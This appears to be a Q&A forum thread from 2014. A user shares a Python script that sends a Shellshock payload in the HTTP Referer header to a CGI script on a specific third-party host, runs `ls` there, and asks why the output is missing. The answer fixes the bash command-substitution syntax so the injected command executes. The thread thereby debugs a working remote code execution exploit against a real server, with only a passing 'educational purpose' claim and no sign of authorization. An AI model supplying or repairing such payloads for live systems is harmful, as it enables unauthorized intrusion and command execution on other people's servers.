1

i have following script in python

headers = {'Referer': """() { :;}; y="($ls)";echo 'ls_result: '$y; """}
r = requests.get("http://manticore.2y.net/cgi-bin/dlwct.sh",headers=headers)

and

r.headers 

is

{
'x-rdir': '""', 'x-vps': 'yes',
 'transfer-encoding': 'chunked',
 'server': 'Apache/1.3.29',
 'connection': 'close',
 'date': 'Thu, 23 Oct 2014 09:13:47 GMT',
 'ls_result': '()', 
'content-type': 'text/html'
}

when i passing y="(ls)" in header. i am getting 'ls_result': '(ls)' in response header. why $ stripping from my input? how can list directory in response header ? PS: this is for educational purpose

1 Answer 1

2

The syntax for executing a command and assigning its output to a variable is:

y="$(ls)"

You had the $ inside the parentheses, it should be outside.

Note that your code will only execute the shell command if you haven't patched the ShellShock vulnerability.

Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.